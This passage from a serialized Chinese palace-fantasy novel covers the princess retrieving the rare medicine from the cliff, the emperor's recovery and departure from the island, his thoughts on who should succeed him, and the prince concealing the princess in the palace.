“扑通”一声,伴随着这一狮子吼,小丫头顿时手忙脚乱地跪在地上,直央求道:“爷爷消消气,爷爷消消气……” 白胡子老翁再次压住怒气,只沉声急着问:“你说,还是不说,公主,她到底去哪儿了?” 白胡子老翁字字清晰地一边说,一边试图着举起手里的拐杖来。无忧 绿儿一见,忙伸手拽住其衣袖朝其求饶:“爷爷息怒,爷爷息怒,绿儿说,绿儿什么都说。” “快说!”白胡子老翁厉声催促着。 绿儿低头下去,缓缓道:“公主,公主她去了,她去了龙漦崖!” “什么,龙漦崖?公主,她去了龙漦崖?” 闻此,白胡子老翁忽觉一阵晕眩,脚下软软的似是要踩空摔倒,一手忙附上太阳穴。 绿儿点了点头,回忆着早上的情景,默默地道:“公主她,她一定是想去龙漦崖向海神娘娘虔诚的祈求,想要给早上带回来的那位昏迷不醒的男人求得一块珍贵的龙漦来强身。” 半晌后,白胡子老翁只觉脑海里一片混乱,始终都难以置信这个事实。 忽地瞥见绿儿此时亦焦急万分的脸,他极认真地问:“是你告诉公主龙漦崖的故事的?” 绿儿点点头,却道:“绿儿以为公主乃一弱女子,又大病初愈刚醒来,即便是知道了龙漦崖的故事,也绝不会有真的去取仙药的勇气和想法。可谁知?谁知她,竟会为了一个初次见面完全陌生的男子那般的奋不顾身地去做一件她根本就不肯能做到的事。龙漦崖和龙漦的故事,千百年来,一向是只闻有人传说,却从未有人见过的呢……” 绿儿的一字一句尚还回响在耳边,白胡子老翁确是越听越来气。 他只觉得那股气血,似是正在一寸寸猛烈地冲击着他的头部。 终于,他还是忍不住“哗”地扬起了一巴掌来,正欲要狠狠扇下去。 启料刚架至绿儿的脑门,忽闻其情真意切的一句:“公主,她真的是太善良了……” 闻此,白胡子老翁却终还是忍了下来,缓缓收手。 遂压低了声音吩咐,道:“还不起来带路,随我一起赶快去将公主寻回。公主若是有个什么闪失,你我便都将是整个东宁国,不,可能是这整片灵空大陆的罪人!” 小丫头听了,连忙起身来拭掉泪痕,扶起白胡子老翁便朝龙漦崖的方向疾步而去。 而此时,几乎是已经耗尽了本就微弱的所有体力的女子,历尽千辛万苦,终于攀上了高高的龙漦崖顶。 她自是不会相信小丫头所言,什么朝着此刻眼前的这片茫茫大海虔诚的许愿,就会有什么海神娘娘出现,赐予许愿的人一些龙漦。 她更愿意相信在自己那莫名的记忆里,一种来源于大自然给人类的馈赠。 在她的记忆里,这种珍贵药材不是漂浮在海面上,便是被冲上了沙滩。 可眼前的这片海,却是纯粹的一片无边无际的浩瀚大海,几近与海平面相垂直的悬崖脚下并见不到有任何沙滩的影子。 因为山很高,所以想要看清山脚下的环境是相当困难的。 她在龙漦崖的顶上转了一圈又一圈,朝下打量了许久,最后将目标锁定在了龙漦崖脚下,靠近大海一边由几块因常年受到海水冲击,已经变得千疮百孔的大岩石之间,有一块并不怎么大的空处。 除了渺茫的大海面上,这里许是唯一能够发现龙漦的地方了。 “我一定能找到龙漦,一定能,一定能……” 她抿了抿嘴唇,又咬了咬牙,摩拳擦掌着试图慢慢抓握和踩踏着岩石上的棱棱角角,朝着下面的那片空处缓缓下去。 不远处,刚一出门便碰到了梅志煊与其侍卫正好匆匆赶回来的白胡子老翁和绿儿俩人,一边走,一边将打从其离开幽蓝岛后,所发生的所有事情全都一五一十地仔细告诉了梅志煊。 就在梅志煊正在一边赶路一边沉思之时,忽闻“啊……”的一声。 “公主,是公主的声音。”绿儿顿足大惊失色道。 “公主殿下,公主殿下……” 寻觅着女子所发出来的呐喊声,梅志煊与其侍卫二人飞身而上,着急地开始在龙池崖的四处响了起来。 就在梅志煊与其侍卫俩人到达龙池崖顶之后,分头到处寻觅女子身影的时候,梅志煊的侍卫眼疾手快地发现了在高高的悬崖脚下的几块岩石之间所夹着的一片并不怎么大的白色沙滩上,蜷缩着一白衣飘飘的长发女子。 此情此景,他顿时吓得脸色煞白,惊呆了,指着那片沙滩方向愣愣地道:“殿下,快看那边!” 梅志煊“哗的”闪身过来,顺着其所指向的方位放眼一看过去,亦是心里顿时咯噔一下,瞬间惊诧不已地将眉头紧紧蹙起。 几乎想都没想,便抬起脚倏地飞奔而下,刚一着地,紧忙俯身下去将女子一把抱了起来,着急万分地在其耳边声声呼唤道:“皇妹,皇妹,醒醒,醒醒啊,皇妹……” 第四百二十七章:幸好你还在 梅志煊几乎想都没想,似是本能一般地抬起脚便倏地飞身而下。 刚一着地,紧忙俯身下去将女子一把抱了起来,着急万分地在其耳边声声呼唤道:“皇妹,皇妹,醒醒,醒醒啊,皇妹……” 似是听到了他的呼唤声,她竟真的缓缓睁开了眼睛。 试着将嘴巴弱弱地动了动,方才知道自己此时已经做不到开口说话了。 她精疲力尽,奄奄一息地只能试着微微转目朝着身旁一块在海风的雕琢和海水长期的冲击腐蚀下变得坑坑洼洼,千疮百孔的岩石方向,几乎用尽了全身力气,吃力地抬起两根手指来指着其发出一阵喃喃低语。 梅志煊看着怀里全身衣裳早已尽数湿透,冷的似乎已经连颤抖都不会而僵住,虚弱到甚至连张口说话都已做不到的弱小身躯,满眼的怜惜。 他几乎是朝她发狂地怒吼着质问:“你怎么这么傻?为什么这么傻?就为了一个陌生人,值得你这么做吗?你知不知道,你要是万一……我该如何……” 想说的太多,却又戛然而止都来不及说,忙又仔细一边到处打量着她的周身,一边关切道:“你有没有受伤,到底有没有受伤?啊?” 他太着急担心她的身子了,可又看不到任何一丁点儿的外伤,便用力晃了晃她的身子,而她却是一直只顾目不转睛地盯视着他手所指向去的方向。 俩人的耳旁是连续不断,一次比一次似是更加猛烈的惊涛骇浪声传来。 海水不断地冲击着他们周围几块在海边孤零零地矗立着,千疮百孔的身上似是刻满了岁月的沧桑的巨大岩石,它们似是也如这片海一般神秘而缄默。 梅志煊听着耳畔边忽然变得似是嘶吼咆哮着而来的飓风声,忽地起身来眺望向远方。 见那海与天相接的地方不知何时竟已现出了一条白线,它不停地翻滚着,越变越大。 没错,他吃惊极了,预感到这里马上便将会有一股巨浪袭来。 “不行,我们必须马上离开这里。” 说着,便紧忙转身回头过去俯身下去,伸手欲将瘫坐在地上的女子一把横抱起来。 就在这时,女子发出一清晰的声音道:“龙漦,龙漦……” 梅志煊听了,止住动作满腹疑惑地问:“什么?” 女子仍很虚弱地只指着旁边的一块岩石道:“龙漦,龙漦……” 梅志煊似是隐隐地听到了些什么,可又不太确定,但是他知道他必须马上带她离开这里,否则等会儿巨浪一袭来,他们俩绝对会一起被这片大海瞬间吞没,连骨头都不剩。 于是,他皱了皱眉头,这才急急放眼过去向着女子所指向的地方,一块岩石脚下被海水掏空了的洞中看去。 只见那洞里似是静静地躺着一块白色的块状物,梅志煊来不及细细思量,忙近身过去弯腰屈膝,伸进去一只手很容易便将其一把从洞里摸了出来,递到女子手边:“你说的可是这个?” 女子眼睁睁地望着其轻唤:“龙漦,龙漦……” 脸上遂漾起一抹淡淡的笑容,微微点了点头。 近了近了。 它开始咆哮,怒号起来,奋起巨大的身形,如一头猛狮,毛发须张,身形如电。 它挥舞着它威严厚实的爪子,以雷霆万钧之势狂奔而来。 与此同时,临近岩石的水面在迅速地升高,天地似是也仿佛为之而动容,一切都像在等待一个令人窒息的震撼时刻的到来。 梅志煊望了其一眼,惊得顿时屏住了呼吸。 而就在他抱起女子来单脚点地刚刚离开不久,俩人约飞身而上至龙漦崖的一半时。 “啪”的一声巨响,方才那块掏出龙漦的岩石,瞬间被一个巨浪炸了开来,飞溅起层层水花。 梅志煊看着脚下方才的那片空地渐渐被海水淹没,直到最后只留下来的一团团喘息的白沫惊呆了。 “沧海桑田,楼起楼落。世间万物的一切巨变都只不过在一瞬间而已。幸好你还在,我也在,否则……”228文学网 似是就连想都不敢再往下想去,他只紧了紧怀抱里的人儿,看着她紧紧抱着那块白色龙漦如视珍宝一般。 似是太累了,此刻早已安心地合上眼睛睡了过去。 望着她此刻安静的脸,这一刻,他的嘴角忽然微微扬起一抹弧度来,心中只觉升起了一股从未有过的暖流。 这是一种无以名状的心情,它将会永远被埋藏在自己心里最深处,不会被人发现丝毫。 待其刚一飞身上龙漦崖上的安全地带,其侍卫顿时被眼前的俩人惊呆了,望着其怀中昏迷的女子急切地问:“殿下,公主她,她这是怎么了?公主不会……” 然梅志煊却来不及回答他的疑问,伸手只将女子手里握着的龙漦小心翼翼地抽了出来递给他。 侍卫正纳闷不解地琢磨着自己接过来的这个白色物究竟为何物时,忽闻主子沉声命令道:“本皇子先带她回宫,你命人将这个交给木屋今日里来的那个陌生人,其他什么都不要多说。” 梅志煊抱着女子将事情一交待完毕,便转身欲要改道离去。 侍卫疑惑地问:“殿下,我们难道不是应该先回到木屋等公主醒来再走吗?公主她受了伤,理应先养好伤才是。” “我方才已经替公主把过脉,也检查过了。她只是因为长期昏迷有些营养不良体力不支,除此之外并无大碍。” 梅志煊话未说完,侍卫甚觉不可思议地惊声道:“从如此高的龙漦崖上掉下去,怎么可能毫发无伤?” 梅志煊见他唠叨不止,正想训斥,可又害怕打扰了怀中女子的休息,便只稍微提高了些许声音对其稍加呵斥。 “木屋这么多年以来,一向隐蔽,今日忽然来了外人,这对于我们来说,并不是一件好事。关键时刻,为防万一,本皇子必须马上将公主转移。好了,你今儿哪儿来的那么多废话?吩咐你的事情赶快去办,办好了速速回宫。接下来我们还有很多事要准备,时间已经不多了。” 闻此,侍卫似是终于明白了其谨慎用心,于是抱拳紧忙应道:“是,属下遵命,属下这就去办,殿下带着公主一路小心。” 于是,主仆俩计划好一切,方才一道各自出发,急急踏上了归程。 日潜月升,复又日升月潜。 当清晨的第一缕阳光正好照进木屋里榻上的中年男子脸上时,其手指微微动弹了两下,伴随于此,一双威严无比的眼睛亦忽地睁了开来。 他瞥了眼榻边守着自己趴着睡得正香的年轻侍卫,侍卫似是还对此毫无察觉,于是,威严的中年男子轻轻晃了晃侍卫的一只臂膀。 年轻侍卫终于被唤醒,一抬头看到眼前的人顿时坐直了身子,忙揉了揉一双朦胧睡眼,连声惊喜地道:“主子醒了,主子您,您真的醒了!” 中年男子朝其微微一笑,年轻侍卫忙立起身来喜出望外地道:“太好了,谢天谢地,主子终于醒了。” 然待稍一回神,他忙过去俯身朝其道:“主子已经在榻上躺了太久累了吧,我扶您起来。” 启料中年男子忽然抬起一只胳膊来将他止住:“不必,我觉得此刻自己的身子很轻很轻,我应该可以自己起来。” “主子这些年的身子是越来越差了,每次起身不都要奴才扶着帮一把吗,奴才都已经习惯了,还是让奴才来扶您吧!” 年轻侍卫说着便欲再次伸手过去,中年男子亦正欲开口继续阻止,忽闻门外传来一浑厚的声音。 “你家主子因祸得福,如今服下了极品龙漦仙药,那天然白色的龙漦颇为珍贵,活血、益精髓、助阳道、通利血脉,是治病和补益强身的名贵药材。如今他的体力可是比你还要好,以后再也不必你操心了。” 闻声,见一白胡子老翁和一绿衣少女走进了门来,中年男子顿起身来下榻抱拳朝其亲自致谢道:“老人家,莫非是您救了在下一命,在下真是感激不尽!” 白胡子老翁一手拄着拐杖,另一手捋着其一撮白须,看都不看他的脸,兀自一脸不屑地道:“非也,非也,老头子我可是从不理会俗世红尘之事。救你之人,另有其人?” 中年男子一听甚是惊讶:“另有其人?那敢问他是何方神医大佛?如今又身在何处?在下一定要亲自向他道谢。” 白胡子老翁叹了口气,道:“凡尘俗世,冥冥之中,一切自有定数。缘起缘灭,皆因缘未尽,情未了。而缘尽,情亦空。” 中年男子跟着低声默默地在心里重复了一遍,确是丝毫没有体会到其意境,于是开口问道:“老人家此话何意?可否指点在下一二。” 然白胡子老翁却止住声音来不再说话。 片刻后,忽又开口提醒他们:“好了,既然你们二位都已经歇好了,那就请遵守之前的承诺,即刻离开这里吧!” 听到这明明就是在逐客,年轻侍卫终于再也忍不住心里的怒火,冲上去挡在中年男子的前面道:“你这老头儿,我已经忍了你很久了。你可知道我家主子他是谁吗?说出来吓死你,他乃是东宁国当今……” 第四百二十八章:逐客 “好了,既然你们二位都已经歇好了,那就请遵守之前的承诺,即刻离开这里吧!” 听到这明明就是在气焰嚣张地下逐客令,年轻侍卫终于再也忍不住心里的怒火,冲上去挡在了中年男子的前面道:“你这老头儿,我已经忍你很久了。你可知道我家主子他是谁吗?说出来吓死你,他乃是东宁国当今……” 就在年轻侍卫再也不愿忍气吞声,想要亮明身份的时候,忽闻一雷霆之怒从其身后传来,将其打断道:“还不快住嘴,不要再说了!” “主子,这个老头儿打一开始便过分至极。若不是因为我们在海边遇到的那位姑娘相助,方才使得您能留在此处得以休养,主子你怕是就凶多吉少了啊,他不但……” 年轻侍卫顿时回头还想试着为自己辩解些什么,却被只是那仅仅一张无比尊贵又威严的脸噎的便再也多说不出半个字来。 “既然老人家避世于此,不喜打扰,在下这就离开。大恩不言谢,咱们后会有期!”中年男子上前两步,恭敬地朝其抱拳致谢并告辞。 “咱们之间,应是后会无期才对!”启料白胡子老翁却冷笑着,似是一点儿也不客气地道。 有道是“山水总相逢,来日皆可期”,中年男子心里想着笑了笑,便带着年轻侍卫缓缓踱步出门,离开了木屋。 望着众人离去的背影,小丫头绿儿一脸不悦落寞地道:“都走了。” 白胡子老翁似是尚还沉浸在自己很多年前的回忆里,沉默了许久,最后深深地吐了口浊气,望着远方蔚蓝天空下的茫茫大海亦是发出了同样的叹息声。 “是啊,都走了!人世间人与人之间的际遇总是那样的微妙。无论相隔千山万水,哪怕就是恍若隔世,该来的,不该来的,一个不落都曾来过;该走的,不该走的,最终也都就那样走了。临了,其实什么都没有改变,只有这茫茫大海始终若一,亘古不变。” 忽然,绿儿心里似是猜到了些什么,扭头看向白胡子老翁的侧脸,一脸狐疑地问:“爷爷您可一向不是个铁石心肠的人,您……是不是认得这位老爷?不然怎会如此待他,他可是曾经得罪过您?” 白胡子老翁听了,刚刚舒展开来的眉头忽又变得凝重起来,然却并没有说话。 绿儿顿了顿,惊诧地又道:“公主殿下她可真厉害!没想到,传说中那珍贵无比的龙漦果真被她向海神娘娘求得了,那还是极品中的极品呢!” 然只不过片刻惊喜,忽又一阵伤感涌上心头,绿儿默默地道:“爷爷,绿儿想公主了,绿儿还能再见到她吗?” 接二连三的自言自语声始终都未曾得到一丝回应,小丫头终于也默默地收了声,恢复安静。 忽然,一阵似是从未有过如此清新的海风吹过,将深陷在自己沉沉回忆里的白胡子老翁瞬间激醒,把他那满是沧桑的白须拂起。 他轻轻地合上眼眸,往事一幕幕,如烟又似雾,在他尘封了大半辈子的心里再次激起一阵阵涟漪。 许久后,他深深地吸了口这清新无比的空气,问身旁的小丫头道:“绿儿你闻,这片海,这片小岛,似是已经很久很久都没有如此清新过了……” 绿儿听了,甚是纳闷不解地试着亦吸了吸鼻子,最后当她亦凝神下来闭起眼睛一呼吸,许是孩子的嗅觉本就更为灵敏,她顿时扬起满脸的欣喜,朝其连连点头:“嗯嗯嗯,是的,爷爷说的一点儿也没错,空气里尽是飘散着一股香甜的味道。” 白胡子老翁似是顿悟了什么一般,意味深长地笑了笑,说:“看来这座幽蓝岛,或许是时候该给它恢复其原来的名字了!” “幽蓝岛原来的名字?难道这里以前不是叫做幽蓝岛吗?”绿儿对着那道如今已是蔚蓝清澈的海岸线,眨巴眨巴了她那双漆黑明亮的大眼睛,甚觉惊诧道。 白胡子老翁看了看她天真的脸,复又眺望向远方那海天相接处,颇感自豪地介绍道:“小丫头,你记住,‘凤凰岛’……才是这座宝岛真正的名字!” “凤凰岛……”绿儿默默地念着,似是想起了些什么来。 白胡子老翁一手捋着白须,悠悠道:“对,凤凰岛,它宛如一根镇海之柱戳立于这万顷碧波之中,亦如在蔚蓝色的海天相托相护下的一块绝色翡翠。” “凤凰归来,幽蓝不再,原来如此。”伴随着小丫头的顿悟道出了这句话来,祖孙俩一起相对无言地笑了起来。 这笑声,穿过丛林,越过小岛,漂洋过海,直传到很远很远的地方…… 而此时,中年男子与那年轻侍卫俩人正乘着一叶扁舟顺流而下。 眼看着距离小岛已经越来越远,中年男子一直双手负后着挺立在船头,目不转睛地痴望着它的方向像是在沉思些什么。乐 船的另一头,年轻侍卫一边划船一边口中至今都在不停地生气嘟囔着:“可恶,真是太可恶了,竟然敢有人对当今皇上如此无礼,态度如此嚣张。有朝一日,我一定要好好教训教训这个不知天高地厚,有眼不识泰山的糟老头……” “皇上,皇上,你有听到奴才所说的话吗……” 忽然,年轻侍卫的呼声将中年男子从沉沉的思绪中拉了回来。 他遂将目光缓缓移向了年轻侍卫,摇了摇头道:“你这都已经叨叨了一路了,还嫌不够吗?无论如何,这次是他救了朕的性命,你还有什么好计较的?” “他?皇上说的是那个糟老头吗?”年轻侍卫听了,冷笑一声道。 “难道不是他?”中年男子疑惑地道。 “那个冷血的糟老头才不会呢,皇上难道忘了属下方才所言,若不是咱们早上在海边遇到的那位姑娘帮忙,咱们一定是走不出那片神秘森林的,更别说找户人家歇脚了。”年轻侍卫解释道。 “那位姑娘……你说的可是那位与咱们同时出现在海边看日出,长发飘飘一袭白衣的女子。”中年男子甚觉惊讶地道。 因为他至今都还觉得与那女子的相遇这件事,仿佛就是发生在梦里的一般,它是那样的不真实。 “是啊,那姑娘可真是心底善良!就连皇上您服下的神药龙漦,亦是那姑娘孤身一人从海边的陡峭山壁上攀岩至龙漦崖顶朝海神娘娘求得的。”年轻侍卫赞叹道。 “什么?那白衣女子为了给朕求药,爬上了陡峭至极的龙漦崖顶?”中年男子瞬间惊呆了。 年轻侍卫一边点头,一边回忆着道:“奴才听木屋里的小丫头在煎药的时候说,那龙漦神药极为难得,出自大海里一种极为罕见稀有的神龙,要经过海水几百年以上的浸泡方才药效最佳,才是极品中的极品。那女子可真是幸运,竟然能求得那样珍贵的神药。” 年轻侍卫尚且还沉浸在自己对其满心钦佩的回忆中,中年男子忽然扬声催促命令他道:“快给朕划回去!快……” 年轻侍卫顿时停下手里的动作,不明所以地追问:“皇上您这是怎么了?好端端的怎么又要划回去呢?” 中年男子火急火燎道:“朕要当面谢过那位女子,快,还不快给朕划回去!快啊……” 瞬时,他急急抬头朝年轻侍卫身后一看,眼看着船马上都快要靠岸了。 年轻侍卫听了恍然大悟,舒了口气,兀自一脸认真地道:“不瞒皇上,那位女子,她早就已经离开凤凰岛了……” “离开了?”中年男子惊诧地道。 年轻侍卫点点头,一边将船靠岸,一边道:“嗯,离开了。听那小丫头说,那女子本也不是属于岛上的人。女子将药一送回来到木屋,便就离开了。” “那你可有打听她离开后,去了哪里?”中年男子一边被搀扶着下船,一边问。 “奴才问了,可那小丫头像是也什么都不知道一般。”年轻侍卫无奈地道。 此后很长的一段时间里,两人俱都沉默了下来各自思量着。 年轻侍卫紧跟在中年男子身后,只见他眉头深锁摸着后脑勺,似是有什么至今都甚觉不可思议地在思量着。 忽然,他开始喃喃自语了起来:“太像了,真的是太像了!世间怎会有如此相貌相同的俩个人。她即便不是嫡皇后娘娘,也一定是和嫡皇后娘娘有很大的渊源。” 中年男子亦是垂首沉思往事默想了半天,回忆道:“当年她出现的时候,朕觉得就连整个世界都开始闪亮了起来,她的一娉一笑,何止倾城?也是那般的眼神,那般的贤淑,勇敢,美丽,善良,温柔。说她是集世间所有女子的美好于一身,一点都不为过。” 闻此,年轻侍卫愣愣地看着主子侧脸上所洋溢起的许久未见的喜悦,默想了一瞬,忽然道:“皇上,要不要派一批人来仔细查查那木屋,或许又是那老头儿在耍什么花招?” 沉默思量了许久,中年男子方才徐徐应道:“也好,但是切记千万不要惊动他们。” “遵命!”年轻侍卫执剑抱拳,欣喜地领命。 第四百二十九章:储君之位 紧随其后着走了一会儿,年轻侍卫忽然好奇地问:“皇上当真是因为夜里做了个梦,梦到了嫡皇后,醒来一直忘不了那梦境里的地方,所以才寻到了这凤凰宝岛来的吗?” 中年男子双手负后着在前边一边走,一边想了想,脸色忽然沉了下来,似是极为忧伤地缓缓说道:“其实,朕根本就没有梦到嫡皇后,而且……朕已经很久没有梦到她了!” 年轻侍卫见此,心里着实颇为惊讶,亦觉得一阵悲伤顿时涌上心头,只觉自己不该问这样的问题,为了打破此刻的尴尬气氛,于是转念便道:“哦?那皇上您是怎么会想到忽然来这里的?” 中年男子皱了皱眉,整个一副不怒自威的样子驻足停下,望着远方夕阳西下的一大片金色沙滩,海浪拍打着海岸,被海浪带上岸。 远远眺望了半晌后,幽幽道:“朕乃是听人说,凤凰宝岛这边的海水水质如今是越来越差。到了夜里,甚至时常会成为整片整片的散发着蓝色幽光病毒的幽光海。这片如此美丽的宝岛,因此也被人们更名为‘幽蓝岛’。若是继续如此下去,怕是很快就会危及到我东宁子民的生命。朕又不想在这个消息未被证实前在宫里造成恐慌,故来此亲自先查探查探。” 年轻侍卫听了顿时醒悟,一脸钦佩地赞叹道:“皇上果然是位勤政爱民的好皇帝,此乃我东宁国万万子民之福气啊!奴才想,正是因为皇上您亲自驾临凤凰宝岛感动了上苍,方才使得那夜里凤凰现世,驱散幽毒,还我东宁大好河山!” 中年男子听了,淡淡地笑了笑,遂抬脚迈起步来继续一边走,一边冷不防地忽然开口问道:“即使再好的帝王,也有退位的那一天。如今,朕早已经是力不从心,一日不如一日了。再过不了两年,朕也要退位让贤了。依你所见,在朕的皇子里面,哪个更适合做储君呢?” “扑通”一声。 只闻年轻侍卫忽然在其身后跪倒在地上,诚惶诚恐地道:“奴才惶恐,皇上万寿无疆,怎能说出这样的话来?!” “起来!”中年男子顿时回过头去朝其呵斥命令。 年轻侍卫一脸难色,却又无奈地起身来,兀自继续紧随其后一边走,一边听中年男子幽幽道:“生老病死,聚散离合乃世间最平常不过的人之常态了。打从嫡皇后娘娘离开朕的那日起,朕便已经都领悟了。朕只是没想到,如今,她竟残忍的连梦甚至都不肯托给朕了。” “唉……”无奈深深地叹了口气顿了顿,稍加回忆又道:“只是…只是如果她腹中的胎儿若是能够平安出世的话,那该有多好。无论他是男,亦或是女,朕的江山,朕的一切,朕都心甘情愿地给他,只给她…可如今…可如今却是……” “她曾是那样的善良,她拯救了那么多苦难的百姓,可苍天却为何独独对她那般的残忍,对朕那充满无限希望的未出生的皇儿那般残忍……” 想着想着,说着说着,泪水似是再也忍不住顿时迷蒙了双眼,中年男子遂紧紧握住两个拳头隐忍着,似是都在咯咯作响,其情真意切的一字一句之间,几度哽咽。 年轻侍卫见了亦是伤心不止,咬紧牙关忙上前两步想要将其打断,中年男子却抬起一只大而有力的手来将其阻止。 只见其挺立的身躯缓缓抬起头来,似是在试着将伤心的泪水全都倒回去,待平复了些许心情后,中年男子复又道:“说吧,朕恕你无罪!” 此刻,年轻侍卫只恨自己为何如此嘴笨,竟不能安慰主子半分,依旧退缩着道:“回皇上,奴才不敢妄论储君之位,请皇上恕罪。” 中年男子扬起一手来将其摆摆道:“无妨,朕只是想听听你的想法,你就依自己平日所见,随便说说即可。” 年轻侍卫最后咬了咬牙,默想了会儿,幽幽回答道:“那奴才就斗胆了。依奴才所见,眼下三皇子殿下无论才能和人品,都应该是储君的最佳人选。可二皇子殿下那边,又有皇后娘娘的势力支持,三皇子殿下想要胜过皇后娘娘的势力,恐怕没有那么容易……” 中年男子听了,顿时回首看向年轻侍卫的脸,道:“你分析的很是通透嘛!” 年轻侍卫听了,忙垂首下跪道:“奴才惶恐,皇上恕罪!” 中年男子看着他深深地吸了口气,道:“起来吧!” 年轻侍卫遂听令立起身来,中年男子深看了他的一眼,转身兀自拐向了一片林荫小道上,一边走一边继续道:“其实,老三这几年的表现,朕不是没有看到。只是,朕总是隐隐觉得他从小到大,表面上看起来温润如玉,与世无争,实则一直都在隐藏着他的勃勃野心。如果朕没有猜错,这些年,他一定有所准备。将东宁交到这样的人手里,恐怕是日后定会到处征战不断,民不聊生啊!” 闻此,年轻侍卫似是也觉得实在不妥,可稍一思量,却又颇为犹豫地道:“可若是交给二皇子殿下……” 对于那个有勇无谋,嚣张跋扈,又极自命不凡的二皇子梅志豪,显然什么都不用说,大家便早已是对他心知肚明了。三九 自此,一时间里,再无一人说话。 “凡尘俗世,冥冥之中,一切自有定数。缘起缘灭,皆因缘未尽,情未了。而缘尽,情亦空……” 许久后,中年男子不知为何忽然低声默默地重复了两遍白胡子老翁的这句话。 说完,便在那林荫小道之间寻到了之前来时存放好的两匹良驹,跨身翻上了马背。 伴随着响亮的“驾”的一声,马蹄顿时溅起了林间小路上的阵阵灰尘与落叶,主仆俩兀自疾驰离去。 月上树梢,沉沉撩人的夜色下,东宁皇宫里到处一片灯火通明,时不时伴随着阵阵虫鸣声。 寂静的夜里,从偌大的皇宫一角处忽然传出一惊声道:“你说什么?” 寻声而去,原是带着昏迷的女子离开凤凰岛已经安全回到宫里的梅志煊,正在屋内与女子秉烛激烈地谈论着些什么。 只见梅志煊对其满脸歉意地道:“皇妹,对不起,那秦王轩辕瀚在西北大战中与北烈大皇子拓拔泽实力相当,最终俩人比试,皆战死在了沙场之上。皇兄赶到的时候,一切都已经太晚了。” 女子听了顿时一屁股瘫坐在榻边,捂起耳朵来,摇着头无论如何都不敢相信,直声声道:“不要说了,不要说了,我不相信,我不相信,我不相信……” 他无奈地看着她此刻伤心至极的模样,劝慰其道:“皇妹,你冷静一点儿。皇兄知道你很难接受这个事实,就如同你很难接受你的身份一样。突然由一个西秦国药师之女变成了我东宁国尊贵的嫡公主。可事实就是事实,不由得你信不信!” 见其一时半会儿定是平静不了了,梅志煊挺直腰身,立在屋内中央的桌案旁,瞥了眼案上放着的一木盘,里面尽是些新制的男子衣袍。 于是想了想,又道:“对了,这些男装都是皇兄为你特意准备的。在没有百分百确保你在宫里的人身安全前,你且先以男子身份留在这个院子里,千万不要出门。若是被皇后的人发现了,你可就危险了。这些衣服,你先试试。若是不合身,皇兄马上让人拿去改。” 女子依旧深陷在自己悲伤的思绪里不得自拔,梅志煊见了无奈地摇了摇头,说:“这段时间要委屈你了,皇兄一定会想办法尽快向父皇表明,恢复你的身份的。你且先安心……” “出去……”启料话未说完,女子看都不看他,忽然发出一阵呵斥声道。 “皇妹,皇兄也是为了你……”梅志煊似是还想试着开口解释些什么,却被女子忽然提高了嗓门发出一更加厉声喝道:“出去……” “皇妹,你……”一时间里,梅志煊心里五味杂陈,最后却只能低声道了句:“好吧,今日天色已晚。你且先好好休息,皇兄改日再来看你。” “呜呜呜,殿下,云儿对不起你,对不起,对不起……” 待其前脚刚一迈出门槛,顿时传来身后女子撕心裂肺的哭泣声,梅志煊心里亦是顿时满腹痛楚,终是心一横,方才缓缓走了出来,心里默默道:“对不起。” 刚一走出院子,便见其侍卫正脚步匆匆地进门来。 侍卫朝其近身过去恭敬地抱拳行礼道:“殿下。” 梅志煊看了他一眼,沉声着问:“木屋那里怎么样了?” 侍卫禀告道:“属下已经依照殿下的吩咐,将神药亲手交给了绿儿,为以防万一,暴露身份,属下一刻都没有再多逗留,便急急回宫来了。” 俩人遂一边走,梅志煊轻轻点了点头,回忆着道:“这次,幽蓝岛木屋夜里又现出了凤凰虚影,这足以证明……” 第四百三十章:庭院深深深几许 主仆俩人遂一边走,梅志煊轻轻点了点头,回忆着道:“这次,幽蓝岛木屋夜里又现出了凤凰虚影,这足以证明,公主乃是西秦守护者后人的身份事实已是毋庸置疑。本皇子记得,儿时曾在一本秘籍上看到过,西秦守护者后人皆都具有一股神秘的凤凰神力,这股强大的力量于世间是无人能及的。” 侍卫一听,心里亦是无比兴奋和震惊,遂兀自一暗想顿时满脸惊喜地朝其拱手恭贺:“恭喜殿下!贺喜殿下!这些年,殿下所花在寻找这股神力上的所有功夫和精力总算是都没有白费。” 自从北烈回来至今,梅志煊的心中又何尝不觉得甚是意外与惊喜,他悠悠说道:“其实,本皇子一开始也是真的以为那守护者如传闻中所言,早已经销声匿迹,坠崖而亡了。可无论如何,都没有想到,她竟然就是当年失忆不知道自己是谁?亦不知自己从哪里来?对自己的过去一无所知流落到我东宁拯救了我千千万万的子民,最后还成为我东宁国迄今为止都家喻户晓的嫡母后。” 说着说着,他忽然放慢下了脚步来,最后停下转身将目光看向身后的一片寂静的小院落,深邃的眼眸里夹杂着些许忧伤与失落,柔声地道:“本皇子更没想到,她…竟然就是本皇子一直在苦苦寻觅的嫡母后留在这个世上唯一的血脉,怎会是她……” 侍卫似是察觉到了梅志煊隐隐约约的心思,随之亦驻足下来斜身向着同样的方向,轻轻抿了抿嘴唇,似是有些话想说,又不知该从何说起? 于是,两人一路都是默默的。 走了一会儿,侍卫终于还是没能忍住,上前两步跟上其脚步,似是极为不解又忧心地问:“既然殿下心里对嫡皇后娘娘如此敬重,那为何如今还要将公主囚禁在这座废弃的院子里。殿下这样做,就不怕公主会对您产生误会,因此而生出隔阂……” 梅志煊一直低着头整个一副认真思索的样子,半晌后徐徐舒了口气,幽幽道:“本皇子知道把她关起来这样很委屈她,但是现在还不是公开她身份的最佳时机。” 说着说着,只见其眼里所散发出来的幽光越来越冷,顿了顿默想了会儿,道:“继后母子如今在朝中的势力还很强大,加之又有永乐公主与西秦国和亲的势力支持,倘若假使现在公布了公主的身份,怕便就是将势力单薄的公主陷于了众矢之的。且父皇对本皇子自始至终亦从未信任过,所以本皇子这辈子只能靠自己。” 梅志煊默默地攥起藏在衣袖里的拳头,冷声认真地道:“乘着父皇,乃至整个灵空大陆目前尚且还无人知晓嫡母后一脉,乃就是失踪了多年的西秦守护者后人而进行抢夺之际,本皇子不能再等下去,是该出手的时候了。” 侍卫听了恍然大悟:“殿下如此深思熟虑,属下实在是佩服至极。” 梅志煊深深吸了口气,信誓旦旦地道:“总有一日,本皇子一定会让她风风光光,还她一个尊贵身份的!” 侍卫一边听一边想着,却又再次担心了起来:“可是,咱们就算瞒得了这宫里的所有人,亦是瞒不住咱家娘娘啊!娘娘曾经还是西秦公主的时候和咱们公主,她们在西秦国便就是彼此相当熟识的故人。” 